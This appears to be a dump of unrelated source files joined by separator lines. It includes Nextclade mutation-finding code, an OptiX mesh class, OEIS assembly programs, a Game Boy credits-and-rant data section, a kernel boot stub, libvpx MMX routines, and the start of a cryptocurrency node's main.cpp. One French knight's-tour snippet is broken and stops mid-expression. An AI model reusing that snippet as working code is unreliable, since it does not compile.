invariant_less_equal(contextLength, 9);
NucleotideSequence refContext = ref.substr(contextBegin, contextLength);
NucleotideSequence queryContext = query.substr(contextBegin, contextLength);
if (isGap(queryAa)) {
// Gap in the ref sequence means that this is a deletion in the query sequence
aaDeletions.emplace_back(AminoacidDeletion{
.gene = gene.geneName,
.ref = refAa,
.pos = codon,
.codonNucRange = Range{.begin = codonBegin, .end = codonEnd},
.refContext = std::move(refContext),
.queryContext = std::move(queryContext),
.contextNucRange = Range{.begin = contextBegin, .end = contextEnd},
});
} else {
// TODO: we might account for ambiguous aminoacids in this condition
if (queryAa != refAa && queryAa != Aminoacid::X) {
// If not a gap and the state has changed, than it's a substitution
aaSubstitutions.emplace_back(AminoacidSubstitution{
.gene = gene.geneName,
.ref = refAa,
.pos = codon,
.qry = queryAa,
.codonNucRange = Range{.begin = codonBegin, .end = codonEnd},
.refContext = std::move(refContext),
.queryContext = std::move(queryContext),
.contextNucRange = Range{.begin = contextBegin, .end = contextEnd},
});
}
}
}
}
/**
* Finds aminoacid substitutions and deletions in query peptides relative to reference peptides, in all genes
*
* NOTE: Nucleotide sequences and peptides are required to be stripped from insertions
*/
AminoacidChangesReport getAminoacidChanges( //
const NucleotideSequence& ref, //
const NucleotideSequence& query, //
const std::map<std::string, RefPeptideInternal>& refPeptides,//
const std::vector<PeptideInternal>& queryPeptides, //
const Range& alignmentRange, //
const GeneMap& geneMap //
) {
std::vector<AminoacidSubstitution> aaSubstitutions;
std::vector<AminoacidDeletion> aaDeletions;
for (const auto& queryPeptide : queryPeptides) {
const auto& geneName = queryPeptide.name;
auto found = mapFind(refPeptides, geneName);
if (!found) {
throw ErrorRefPeptideNotFound(geneName);
}
const auto& refPeptide = found->peptide;
invariant_equal(refPeptide.size(), queryPeptide.seq.size());
const auto gene = mapFind(geneMap, geneName);
if (!gene) {
throw ErrorGeneNotFound(geneName, geneMap);
}
getAminoacidChangesForGene(//
ref, //
query, //
refPeptide, //
queryPeptide.seq, //
*gene, //
alignmentRange, //
aaSubstitutions, //
aaDeletions //
);
}
return {
.aaSubstitutions = aaSubstitutions,
.aaDeletions = aaDeletions,
};
}
ErrorRefPeptideNotFound::ErrorRefPeptideNotFound(const std::string& name)
: ErrorNonFatal(fmt::format(//
"When searching for aminoacid mutations: peptide \"{:s}\" was requested, but was not found among reference "
"peptides. This is an internal issue. Please report this to developers, providing data and parameters you "
"used, in order to replicate the error.",
name)) {}
ErrorGeneNotFound::ErrorGeneNotFound(const std::string& geneName, const GeneMap& geneMap)
: ErrorNonFatal(fmt::format(//
"When searching for aminoacid mutations: gene \"{:s}\" was requested, but was not found in the gene map. The "
"genes present in the gene map were: {}. This is an internal issue. Please report this to developers, "
"providing data and parameters you used, in order to replicate the error.",
geneName, boost::join(surroundWithQuotes(keys(geneMap)), ", "))) {}
}// namespace Nextclade
|
/* core_mesh.cpp - Copyright 2019/2020 Utrecht University
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "core_settings.h"
// +-----------------------------------------------------------------------------+
// | CoreMesh::~CoreMesh |
// | Destructor. LH2'19|
// +-----------------------------------------------------------------------------+
CoreMesh::~CoreMesh()
{
delete triangles;
rtpBufferDescDestroy( indicesDesc );
rtpBufferDescDestroy( verticesDesc );
rtpModelDestroy( model );
}
// +-----------------------------------------------------------------------------+
// | CoreMesh::SetGeometry |
// | Set the geometry data. LH2'19|
// +-----------------------------------------------------------------------------+
void CoreMesh::SetGeometry( const float4* vertexData, const int vertexCount, const int triCount, const CoreTri* tris )
{
// copy triangle data to GPU
bool reallocate = (triangles == 0);
if (triangles) if (triCount > triangles->GetSize()) reallocate = true;
if (reallocate)
{
delete triangles;
triangles = new CoreBuffer<CoreTri4>( triCount, ON_DEVICE, tris );
// create dummy index data
delete indexData;
indexData = new uint3[triCount];
for (int i = 0; i < triCount; i++) indexData[i] = make_uint3( i * 3 + 0, i * 3 + 1, i * 3 + 2 );
// create float3 vertex data
delete vertex3Data;
vertex3Data = new float3[vertexCount];
// create OptiX geometry buffers
CHK_PRIME( rtpBufferDescCreate( RenderCore::context, RTP_BUFFER_FORMAT_INDICES_INT3, RTP_BUFFER_TYPE_HOST, indexData, &indicesDesc ) );
CHK_PRIME( rtpBufferDescCreate( RenderCore::context, RTP_BUFFER_FORMAT_VERTEX_FLOAT3, RTP_BUFFER_TYPE_HOST, vertex3Data, &verticesDesc ) );
CHK_PRIME( rtpBufferDescSetRange( indicesDesc, 0, triCount ) );
CHK_PRIME( rtpBufferDescSetRange( verticesDesc, 0, vertexCount ) );
// create model
CHK_PRIME( rtpModelCreate( RenderCore::context, &model ) );
}
// copy new vertex positions and normals
for (int i = 0; i < vertexCount; i++) vertex3Data[i] = make_float3( vertexData[i] );
triangles->SetHostData( (CoreTri4*)tris );
triangles->StageCopyToDevice();
// mark this mesh: BVH rebuild needed
accstrucNeedsUpdate = true;
UpdateAccstruc(); // for now
}
// +-----------------------------------------------------------------------------+
// | CoreMesh::UpdateAccstruc |
// | Update the BVH. LH2'20|
// +-----------------------------------------------------------------------------+
void CoreMesh::UpdateAccstruc()
{
CHK_PRIME( rtpModelSetTriangles( model, indicesDesc, verticesDesc ) );
CHK_PRIME( rtpModelUpdate( model, RTP_MODEL_HINT_NONE /* blocking; try RTP_MODEL_HINT_ASYNC + rtpModelFinish for async version. */ ) );
accstrucNeedsUpdate = false;
}
// EOF |
; A054254: a(n) is n plus the minimum of the a(i)*a(n-i) of the previous i=1..n-1.
; 0,1,2,5,8,13,19,26,34,43,53,64,76,89,103,118,134,151,169,188,208,229,251,274,298,323,349,376,404,433,463,494,526,559,593,628,664,701,739,778,818,859,901,944,988,1033,1079,1126,1174,1223,1273
mov $2,$0
pow $0,2
add $0,5
sub $2,3
trn $2,2
add $0,$2
div $0,2
sub $0,2
|
SECTION "Rant #0", ROMX[$6000]
SRAMCommonPattern::
db "Well, I need to make a $1000 (minus 3! :p) byte long pattern. So I thought I would write some nice rant to fill that up, yeah?"
ds 16
db "First, let me give some credits to some guys who helped me quite a bit. "
db "DevEd has been a big help, giving me his sound driver free of charge, and with some sample music tracks to help test the implementation. "
db "avivace and Nolandis helped a bunch too, mostly with ideas. Also with some coding help."
ds 16 * 2
db "I'm realizing I don't have nearly enough thoughts to fill $1000 - 3 bytes, so I think I'll write stuff about developing this game?"
ds 16
db "This actually started as a PC game, but I had too much trouble finding a correct graphics library. It was fun nonetheless, and maybe a good C exercise. "
db "But I went back to a platform I mastered quite well, the GB. I already had graphics (unless I changed this, they should be loaded in tileset #0. Try loading map #0), "
db "but they were colorized. I got lazy and thought to myself: \"Fuck grayscale compatibility.\". Also I think, now, nobody has only a DMG. And this will probably be played on emulators anyways."
ds 16
db "So I started by doing the init code - y'know, clear out the whole VRAM, WRAM, HRAM and OAM. And checking which console I am on. "
db "I also added most code you can see before $100. I call it \"my asm stdlib\". Tough times choosing what to put as RST's."
ds 16
db "I'm not sure what came next. Probably the VBlank handler. I thought about what features I might need \"detached\" from the main game code. "
db "First was WRAM SCX/Y, WX/Y, things like that. Somehow the next thing was screen shake. I also tried to implement distort in HBlank, but it was too difficult, mostly because of lack of CPU time. "
db "When it comes to the GB(C), you're golden as a programmer. You got nice raster interrupts (I'm lol-ing at the NES right now. :D), not too many hardware bugs... What could go wrong?"
ds 16
db "The VRAM. The VRAM is a bitch. Never there when you need it. "
db "CopyToVRAM, CopyAcrossToVRAM... tough times writing some of those. Also tough times trying to use \"normal\" functions in their stead, like right after VBlanking. Saves some CPU. "
db "Saving CPU is soooo important, man. Now it's less so, I guess, but on a GB, the more time you spend in HALT - CPU idle, waiting for an interrupt - the more battlery you save. "
db "That's also why right now the game doesn't use double-speed mode. It sucks up battery dry."
ds 16 * 2
db "When making the overworld engine, I had three things in mind. "
ds 16
db "1. Diagonal movement MUST be a thing. "
db "2. The player MUST move pixel by pixel, not on a grid. Biggest challenge for an 8-bit game, probably. "
db "3. Speed MUST be a variable. I didn't want to implement subpixels, though, because even though they may look better they tend to create massive movement-related bugs. "
db "Also EarthBound taught me subpixels don't look so good with diagonal movement."
ds 16
db "EarthBound is great by the way. It inspired me lots. Think about the text engine - EarthBound's is a huge mess - but it's pretty darn powerful. "
db "So powerful it might be possible to make the engine run an emulator. Why not. "
db "I wanted to have that, too: a text engine very powerful."
ds 16
db "It's kinda what happened. It's got some direct memory manipulation capabilities, as well as a basic ALU. add, sub, bit, set, res. And ld. Not very complex, but at least pretty flexible. "
db "Change a constant (the max command ID), add a pointer to your new func, have it read its arguments from the buffer, and return the number of bytes consumed in a. Easy!"
ds 16 * 2
db "Oh, I am reaching the limit here. Gonna pad this with a few $FF bytes, and it's time to say goodbye :)"
SRAMCommonEnd::
ds ($1000 - 4) - (SRAMCommonEnd - SRAMCommonPattern) - 1
db 0
; SECTION "Rant #1", ROMX[$7000]
SRAMFirstBootPattern::
db "AEVILIA GB"
ds 16
db "CREDITS"
ds 16 * 2
db "PROGRAMMING"
ds 16
db "ISSOtm (Eldred Habert)"
ds 16
db "DevEd (Edward Whalen)"
ds 16 * 2
db "LEAD GRAPHICS"
ds 16
db "Kaikun97 (Kai)"
ds 16 * 2
db "GRAPHICS"
ds 16
db "Mian"
ds 16
db "Citx"
ds 16
db "Alpha"
ds 16
db "ISSOtm"
ds 16 * 2
db "SOUND"
ds 16
db "DevEd"
ds 16
db "MAP FORGING"
ds 16
db "ISSOtm"
ds 16
db "Parzival Wolfram"
ds 16
db "Kaikun97 (Kai)"
ds 16 * 2
db "TESTING AND DEBUGGING"
ds 16
db "Parzival Wolfram"
ds 16
db "Charmy"
ds 16
db "Kai"
ds 16
db "Citx"
ds 16 * 2
db "SPECIAL 3DS SUPPORT"
ds 16
db "Parzival Wolfram"
ds 16 * 2
db "SPECIAL THANKS"
ds 16
db "Extra Credits (Check out their YouTube channel, they give awesome tips on game design)"
ds 16
db "Celeste, for her support"
ds 16
db "gbdev wiki, for their cool resources"
ds 16
db "gbdev Discord, for their help and feedback"
ds 16
db "Bas Steendijk, for BGB being a superb emulator amazing for development. Making the text smooth-scroller without this quality of an emulator would have been a nightmare."
ds 16
db "Carsten Sorensen, for RGBDS. Pretty good compiler, has its problems but at least it compiles nicely."
ds 16
db "By the way, I hate GBDK."
ds 16
db "GCL forums, for getting me into GB stuff"
ds 16
db "GCL Discord, for the amazing shitposting there"
ds 16
db "Game Freak, thank you very very VERY much for Red/Blue/Yellow being so broken! It's fun STILL finding bugs in your code :D"
ds 256
db "Maybe I should also credit you for taking time to read your save as text. Here is some info on how save files work, if you're interested."
ds 16
db "You'll probably figure out the save files are checksummed, but I'm giving ya a hint: they are also check-XOR'ed. "
db "By that I mean the game does an operation on each block of $40 bytes in $A100-$AFFF. It calculates the sum (modulo 256) and XOR of all bytes in that block. "
db "That makes the check on the whole block. So you might guess the game re-calculates these when loading, and if anything doesn't match... guess what happens, lol."
ds 16
db "You may have guessed that $A000-$A0FF is the header. Quick math will give you that $F8 bytes must be used for checksumming. "
db "So, in the first 8 bytes, there is a string, which is just there to act as a cookie. Y'know, if it's ever overwritten, everything blows up. "
db "I just needed a sting 7 chars long (plus NULL, that's 8 bytes, lining up neatly). \"AEVILIA\" fitted just right... by pure coincidence. So it's there. "
db "Unless I change it later?"
SRAMFirstBootEnd::
ds $1000 - (SRAMFirstBootEnd - SRAMFirstBootPattern) - 1
db 0
|
#include <iostream>
#include <string>
#include <random>
struct Position
{
int x, y;
};
unsigned N = 6;
std::vector<Position> HISTORIQUE;
void afficher(const Position& last_move={0, 0})
{
std::vector<std::string> liste{N*N, " ."};
int x, y;
for(unsigned i = 0; i < HISTORIQUE.size(); ++i)
{
auto pos = HISTORIQUE[i];
x = pos.x;
y = pos.y;
liste[x + y * N] = std::to_string(i);
}
if(last_move.x != 0 || last_move.y != 0)
{
int last_x = x + last_move.x;
int last_y = y + last_move.y;
liste[last_x + last_y * N] = " :";
}
std::string espace{15, '\n'};
std::string titre = "TOUR "
+ std::to_string(HISTORIQUE.size())
+ ". Cavalier en ("
+ std::to_string(x)
+ ", "
+ std::to_string(y)
+ ").\n\n";
std::string L1 = " " +
}
|
[BITS 32]
; This code lives at the bottom of memory, because it's executed before paging is set up, unlike
; the rest of the kernel that lives at the top of memory.
[SECTION .boot]
; The multiboot boot loader starts executing the kernel from here.
[GLOBAL EntryPoint]
[EXTERN Stack]
EntryPoint:
; Save the pointer to the multiboot info, so we can later read it in C.
mov [MultibootInfo], eax
mov [MultibootInfo + 4], ebx
; Load our 32-bit Global Descriptor Table.
lgdt [Gdtr32]
; Jump to .GdtReady in our executable segment.
push 0x08
push GdtReady
retf
; In our 32-bit executable segment.
[GLOBAL GdtReady]
GdtReady:
; Set our data and stack registers to point to the data segment.
mov eax, 0x10
mov ds, ax
mov ss, ax
; Sets the stack.
mov esp, Stack
; Call the function below to set up long mode paging.
call SetupPagingAndLongMode
; Load our 64-bit GDT, in lower memory.
mov eax, GdtrLower64
lgdt [GdtrLower64]
; Jump to long-mode.
push 0x08
push Gdt64Ready
retf
; Sets up the initial paging and long mode.
[EXTERN Pml4]
[EXTERN Pdpt]
[EXTERN Pd]
SetupPagingAndLongMode:
; We'll set up a temporary paging system, where we map the first 8 MB of physical memory to the first
; 8 MB of lower and upper virtual memory. (Actually, it gets mapped 4 times, so we can reuse the same
; PD, but we can ignore that.) Once we enter C land, the kernel will set up a better paging system.
; The PML4 is our root table. Point the first 512GB TB in lower and upper memory to the same PDPT.
mov eax, Pdpt
or eax, 3 ; present, RW
mov [Pml4], eax
mov [Pml4 + 0xFF8], eax ; Last entry.
; Point the 0->1GB GB in lower and 2->3 GB in upper memory to the same PD.
mov eax, Pd
or eax, 3 ; present, RW
mov [Pdpt], eax
mov [Pdpt + 0xFF0], eax ; Second the last entry.
; Map the first 8 MB of physical memory to the first 8 MB of virtual memory in the PD.
mov dword [Pd], 0x000083 ; 0 -> 2 MB, 2 MB page, RW, supervisor page
mov dword [Pd + 8], 0x200083 ; 2 -> 4MB, 2 MB page, RW, supervisor page
mov dword [Pd + 16], 0x400083 ; 4 -> 6 MB, 2 MB page, RW, supervisor page
mov dword [Pd + 24], 0x600083 ; 6 -> 8 MB, 2 MB page, RW, supervisor page
; Load CR3 with PML4.
mov eax, Pml4
mov cr3, eax
; Enable PAE (5) and OSFXSR (9) and OSXMMEXCPT (10) for FPU.
mov eax, cr4
or eax, (1 << 5) | (1 << 9) | (1 << 10)
mov cr4, eax
; Enable Load Mode (8) and System Call Extensions (0) in the MSR.
mov ecx, 0xC0000080
rdmsr
or eax, (1 << 8) | (1)
wrmsr
; Enable paging (31) and MP (1) for FPU.
mov eax, cr0
or eax, (1 << 31) | (1 << 1)
; Clear EM (2) for FPU.
and eax, ~(1 << 2)
mov cr0, eax
ret
; 32-bit Global Descriptor Table, it tells us about the memory segments. It maps all of the
; 32-bit address field as executable and data.
[GLOBAL Gdt32]
Gdt32:
; Invalid segment
DQ 0x0000000000000000
; 0->4GB is RW, executable, code/data segment, present, 4k, 32-bit
DQ 0x00CF9A000000FFFF
; 0->4GB is RW, data, code/data segment, present, 4k, 32-bit
DQ 0x00CF92000000FFFF
; 64-bit Global Descriptor Table. It must be defined, but segments map to all of memory in long mode.
[GLOBAL Gdt64]
Gdt64:
; Invalid segment
DQ 0x0000000000000000 ; 0x0
; Kernel code: RW, executable, code/data segment, present, 64-bit, ring 0
DQ 0x00209A0000000000 ; 0x8
; Kernel data: RW, data, code/data segment, present, ring 0
DQ 0x0000920000000000 ; 0x10
; User data: RW, data, code/data segment, present, ring 3
DQ 0x0020F20000000000 ; 0x18
; User code: RW, executable, code/data segment, present, 64-bit, ring 3
DQ 0x0020FA0000000000 ; 0x20
; TSS. It takes up 2 entries.
[GLOBAL TSSEntry]
TSSEntry:
DQ 0x0000000000000000 ; 0x28
DQ 0x0000000000000000
; Reference to the 32-bit GDT.
Gdtr32:
DW 23 ; 24 bytes long
DD Gdt32
; Reference to the 64-bit global descriptor table, in lower memory.
GdtrLower64:
DW 23 ; 24 bytes long, we'll ignore the user segments
DD Gdt64
DD 0
; Reference to the 64-bit global descriptor table, in upper memory.
GdtrUpper64:
DW 55 ; 56 bytes long
DQ Gdt64 + 0xFFFFFFFF80000000
[GLOBAL MultibootInfo]
MultibootInfo:
dq 0 ; pointer and magic stuff from grub written here
[BITS 64]
; The entry point in long mode.
[EXTERN kmain]
[GLOBAL Gdt64Ready]
Gdt64Ready:
; Turn off interrupts. Is this needed?
cli
; Once the kernel sets up paging, we'll loose the stuff in 'low memory' (since that is then going to
; be userland memory), so we need to move the stack and GDTR to upper memory.
; Move our stack into upper memory.
mov rsp, Stack + 0xFFFFFFFF80000000
mov rbp, rsp
; Load the upper memory GDT.
mov rax, GdtrUpper64 + 0xFFFFFFFF80000000
lgdt [rax]
; Point our data segments to the data segment.
mov rax, 0x10
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; Jump to the C entry point.
mov rax, kmain
jmp rax |
; A310372: Coordination sequence Gal.4.52.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,10,14,18,22,28,32,36,42,46,50,54,60,64,68,74,78,82,86,92,96,100,106,110,114,118,124,128,132,138,142,146,150,156,160,164,170,174,178,182,188,192,196,202,206,210,214,220,224
mov $2,$0
mul $0,2
mov $1,$0
add $1,4
add $2,1
mov $3,$2
lpb $1
add $0,4
add $0,$3
trn $0,6
add $0,$3
sub $1,1
trn $1,6
mov $3,2
lpe
|
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
%include "vpx_ports/x86_abi_support.asm"
;void vp8_subtract_b_mmx_impl(unsigned char *z, int src_stride,
; short *diff, unsigned char *Predictor,
; int pitch);
global sym(vp8_subtract_b_mmx_impl) PRIVATE
sym(vp8_subtract_b_mmx_impl):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rdi, arg(2) ;diff
mov rax, arg(3) ;Predictor
mov rsi, arg(0) ;z
movsxd rdx, dword ptr arg(1);src_stride;
movsxd rcx, dword ptr arg(4);pitch
pxor mm7, mm7
movd mm0, [rsi]
movd mm1, [rax]
punpcklbw mm0, mm7
punpcklbw mm1, mm7
psubw mm0, mm1
movq [rdi], mm0
movd mm0, [rsi+rdx]
movd mm1, [rax+rcx]
punpcklbw mm0, mm7
punpcklbw mm1, mm7
psubw mm0, mm1
movq [rdi+rcx*2],mm0
movd mm0, [rsi+rdx*2]
movd mm1, [rax+rcx*2]
punpcklbw mm0, mm7
punpcklbw mm1, mm7
psubw mm0, mm1
movq [rdi+rcx*4], mm0
lea rsi, [rsi+rdx*2]
lea rcx, [rcx+rcx*2]
movd mm0, [rsi+rdx]
movd mm1, [rax+rcx]
punpcklbw mm0, mm7
punpcklbw mm1, mm7
psubw mm0, mm1
movq [rdi+rcx*2], mm0
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void vp8_subtract_mby_mmx(short *diff, unsigned char *src, int src_stride,
;unsigned char *pred, int pred_stride)
global sym(vp8_subtract_mby_mmx) PRIVATE
sym(vp8_subtract_mby_mmx):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rdi, arg(0) ;diff
mov rsi, arg(1) ;src
movsxd rdx, dword ptr arg(2);src_stride
mov rax, arg(3) ;pred
push rbx
movsxd rbx, dword ptr arg(4);pred_stride
pxor mm0, mm0
mov rcx, 16
.submby_loop:
movq mm1, [rsi]
movq mm3, [rax]
movq mm2, mm1
movq mm4, mm3
punpcklbw mm1, mm0
punpcklbw mm3, mm0
punpckhbw mm2, mm0
punpckhbw mm4, mm0
psubw mm1, mm3
psubw mm2, mm4
movq [rdi], mm1
movq [rdi+8], mm2
movq mm1, [rsi+8]
movq mm3, [rax+8]
movq mm2, mm1
movq mm4, mm3
punpcklbw mm1, mm0
punpcklbw mm3, mm0
punpckhbw mm2, mm0
punpckhbw mm4, mm0
psubw mm1, mm3
psubw mm2, mm4
movq [rdi+16], mm1
movq [rdi+24], mm2
add rdi, 32
lea rax, [rax+rbx]
lea rsi, [rsi+rdx]
dec rcx
jnz .submby_loop
pop rbx
pop rdi
pop rsi
; begin epilog
UNSHADOW_ARGS
pop rbp
ret
;vp8_subtract_mbuv_mmx(short *diff, unsigned char *usrc, unsigned char *vsrc,
; int src_stride, unsigned char *upred,
; unsigned char *vpred, int pred_stride)
global sym(vp8_subtract_mbuv_mmx) PRIVATE
sym(vp8_subtract_mbuv_mmx):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 7
push rsi
push rdi
; end prolog
mov rdi, arg(0) ;diff
mov rsi, arg(1) ;usrc
movsxd rdx, dword ptr arg(3);src_stride;
mov rax, arg(4) ;upred
add rdi, 256*2 ;diff = diff + 256 (shorts)
mov rcx, 8
push rbx
movsxd rbx, dword ptr arg(6);pred_stride
pxor mm7, mm7
.submbu_loop:
movq mm0, [rsi]
movq mm1, [rax]
movq mm3, mm0
movq mm4, mm1
punpcklbw mm0, mm7
punpcklbw mm1, mm7
punpckhbw mm3, mm7
punpckhbw mm4, mm7
psubw mm0, mm1
psubw mm3, mm4
movq [rdi], mm0
movq [rdi+8], mm3
add rdi, 16
add rsi, rdx
add rax, rbx
dec rcx
jnz .submbu_loop
mov rsi, arg(2) ;vsrc
mov rax, arg(5) ;vpred
mov rcx, 8
.submbv_loop:
movq mm0, [rsi]
movq mm1, [rax]
movq mm3, mm0
movq mm4, mm1
punpcklbw mm0, mm7
punpcklbw mm1, mm7
punpckhbw mm3, mm7
punpckhbw mm4, mm7
psubw mm0, mm1
psubw mm3, mm4
movq [rdi], mm0
movq [rdi+8], mm3
add rdi, 16
add rsi, rdx
add rax, rbx
dec rcx
jnz .submbv_loop
pop rbx
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
|
; A025740: Index of 10^n within sequence of numbers of form 2^i*10^j.
; 1,5,12,22,36,53,73,97,124,154,188,225,265,309,356,406,460,517,577,641,708,778,852,929,1009,1093,1180,1270,1364,1461,1561,1664,1771,1881,1994,2111,2231,2354,2481,2611,2744,2881,3021,3164,3311,3461,3614,3771,3931
mov $14,$0
mov $16,$0
add $16,1
lpb $16,1
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
mov $11,$0
mov $13,$0
add $13,1
lpb $13,1
mov $0,$11
sub $13,1
sub $0,$13
mov $7,$0
mov $9,2
lpb $9,1
clr $0,7
mov $0,$7
sub $9,1
add $0,$9
sub $0,1
mov $6,$0
mul $6,195
add $1,$6
mov $0,$1
div $0,84
mov $1,$0
mov $10,$9
lpb $10,1
mov $8,$1
sub $10,1
lpe
lpe
lpb $7,1
mov $7,0
sub $8,$1
lpe
mov $1,$8
add $1,1
add $12,$1
lpe
add $15,$12
lpe
mov $1,$15
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2018 The Trustron developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "main.h"
#include "accumulators.h"
#include "addrman.h"
#include "alert.h"
#include "chainparams.h"
#include "checkpoints.h"
#include "checkqueue.h"
#include "init.h"
#include "kernel.h"
#include "masternode-budget.h"
#include "masternode-payments.h"
#include "masternodeman.h"
#include "merkleblock.h"
#include "net.h"
#include "obfuscation.h"
#include "pow.h"
#include "spork.h"
#include "sporkdb.h"
#include "swifttx.h"
#include "txdb.h"
#include "txmempool.h"
#include "ui_interface.h"
#include "util.h"
#include "utilmoneystr.h"
#include "primitives/zerocoin.h"
#include "libzerocoin/Denominations.h"
#include <sstream>
#include <boost/algorithm/string/replace.hpp>
#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/thread.hpp>
using namespace boost;
using namespace std;
using namespace libzerocoin;
#if defined(NDEBUG)
#error "Trustron cannot be compiled without assertions."
#endif
// 6 comes from OPCODE (1) + vch.size() (1) + BIGNUM size (4)
#define SCRIPT_OFFSET 6
// For Script size (BIGNUM/Uint256 size)
#define BIGNUM_SIZE 4
/**
* Global state
*/
CCriticalSection cs_main;
BlockMap mapBlockIndex;
map<uint256, uint256> mapProofOfStake;
set<pair<COutPoint, unsigned int> > setStakeSeen;
map<unsigned int, unsigned int> mapHashedBlocks;
CChain chainActive;
CBlockIndex* pindexBestHeader = NULL;
int64_t nTimeBestReceived = 0;
CWaitableCriticalSection csBestBlock;
CConditionVariable cvBlockChange;
int nScriptCheckThreads = 0;
bool fImporting = false;
bool fReindex = false;
bool fTxIndex = true;
bool fIsBareMultisigStd = true;
bool fCheckBlockIndex = false;
bool fVerifyingBlocks = false;
unsigned int nCoinCacheSize = 5000;
bool fAlerts = DEFAULT_ALERTS;
//unsigned int nStakeMinAge = 6 * 60 * 60; //6 hours
static unsigned int nStakeMinAgeV1 = 10 * 60;//24 * 60 * 60;//6 * 60 * 60; // 6 hours
static unsigned int nStakeMinAgeV2 = 24 * 60 * 60; //12 * 60 * 60; // 12 hours after block 69,000
const int targetReadjustment_forkBlockHeight = 69000; //retargeting since 69,000 block
int64_t nReserveBalance = 0;
bool IsProtocolMaturityV2(int nHeight)
{
return(nHeight >= targetReadjustment_forkBlockHeight);
}
unsigned int GetStakeMinAge(int nHeight)
{
if(IsProtocolMaturityV2(nHeight))
return nStakeMinAgeV2;
else
return nStakeMinAgeV1;
}
int GetMinPeerProtoVersion(int nHeight)
{
return PROTOCOL_VERSION; //2.1.1 - always return new protocol version, forget about older blockchain.
}
/** Fees smaller than this (in duffs) are considered zero fee (for relaying and mining)
* We are ~100 times smaller then bitcoin now (2015-06-23), set minRelayTxFee only 10 times higher
* so it's still 10 times lower comparing to bitcoin.
*/
CFeeRate minRelayTxFee = CFeeRate(10000);
CTxMemPool mempool(::minRelayTxFee);
struct COrphanTx {
CTransaction tx;
NodeId fromPeer;
};
map<uint256, COrphanTx> mapOrphanTransactions;
map<uint256, set<uint256> > mapOrphanTransactionsByPrev;
map<uint256, int64_t> mapRejectedBlocks;
void EraseOrphansFor(NodeId peer);
static void CheckBlockIndex();
/** Constant stuff for coinbase transactions we create: */
CScript COINBASE_FLAGS;
const string strMessageMagic = "DarkNet Signed Message:\n";
// Internal stuff
namespace
{
struct CBlockIndexWorkComparator {
bool operator()(CBlockIndex* pa, CBlockIndex* pb) const
{
// First sort by most total work, ...
if (pa->nChainWork > pb->nChainWork) return false;
if (pa->nChainWork < pb->nChainWork) return true;
// ... then by earliest time received, ...
if (pa->nSequenceId < pb->nSequenceId) return false;
if (pa->nSequenceId > pb->nSequenceId) return true;
// Use pointer address as tie breaker (should only happen with blocks
// loaded from disk, as those all have id 0).
if (pa < pb) return false;
if (pa > pb) return true;
// Identical blocks.
return false;
}
};
CBlockIndex* pindexBestInvalid;
/**
* The set of all CBlockIndex entries with BLOCK_VALID_TRANSACTIONS (for itself and all ancestors) and
* as good as our current tip or better. Entries may be failed, though.
*/
set<CBlockIndex*, CBlockIndexWorkComparator> setBlockIndexCandidates;
/** Number of nodes with fSyncStarted. */
int nSyncStarted = 0;
/** All pairs A->B, where A (or one if its ancestors) misses transactions, but B has transactions. */
multimap<CBlockIndex*, CBlockIndex*> mapBlocksUnlinked;
CCriticalSection cs_LastBlockFile;
std::vector<CBlockFileInfo> vinfoBlockFile;
int nLastBlockFile = 0;
/**
* Every received block is assigned a unique and increasing identifier, so we
* know which one to give priority in case of a fork.
*/
CCriticalSection cs_nBlockSequenceId;
/** Blocks loaded from disk are assigned id 0, so start the counter at 1. */
uint32_t nBlockSequenceId = 1;
/**
* Sources of received blocks, to be able to send them reject messages or ban
* them, if processing happens afterwards. Protected by cs_main.
*/
map<uint256, NodeId> mapBlockSource;
/** Blocks that are in flight, and that are in the queue to be downloaded. Protected by cs_main. */
struct QueuedBlock {
uint256 hash;
CBlockIndex* pindex; //! Optional.
int64_t nTime; //! Time of "getdata" request in microseconds.
int nValidatedQueuedBefore; //! Number of blocks queued with validated headers (globally) at the time this one is requested.
bool fValidatedHeaders; //! Whether this block has validated headers at the time of request.
};
map<uint256, pair<NodeId, list<QueuedBlock>::iterator> > mapBlocksInFlight;
/** Number of blocks in flight with validated headers. */
int nQueuedValidatedHeaders = 0;
/** Number of preferable block download peers. */
int nPreferredDownload = 0;
/** Dirty block index entries. */
set<CBlockIndex*> setDirtyBlockIndex;
/** Dirty block file entries. */
set<int> setDirtyFileInfo;
} // anon namespace
//////////////////////////////////////////////////////////////////////////////
//
// dispatching functions
//
// These functions dispatch to one or all registered wallets
namespace
{
struct CMainSignals {
/** Notifies listeners of updated transaction data (transaction, and optionally the block it is found in. */
boost::signals2::signal<void(const CTransaction&, const CBlock*)> SyncTransaction;
/** Notifies listeners of an erased transaction (currently disabled, requires transaction replacement). */
// XX42 boost::signals2::signal<void(const uint256&)> EraseTransaction;
/** Notifies listeners of an updated transaction without new data (for now: a coinbase potentially becoming visible). */
boost::signals2::signal<void(const uint256&)> UpdatedTransaction;
/** Notifies listeners of a new active block chain. */
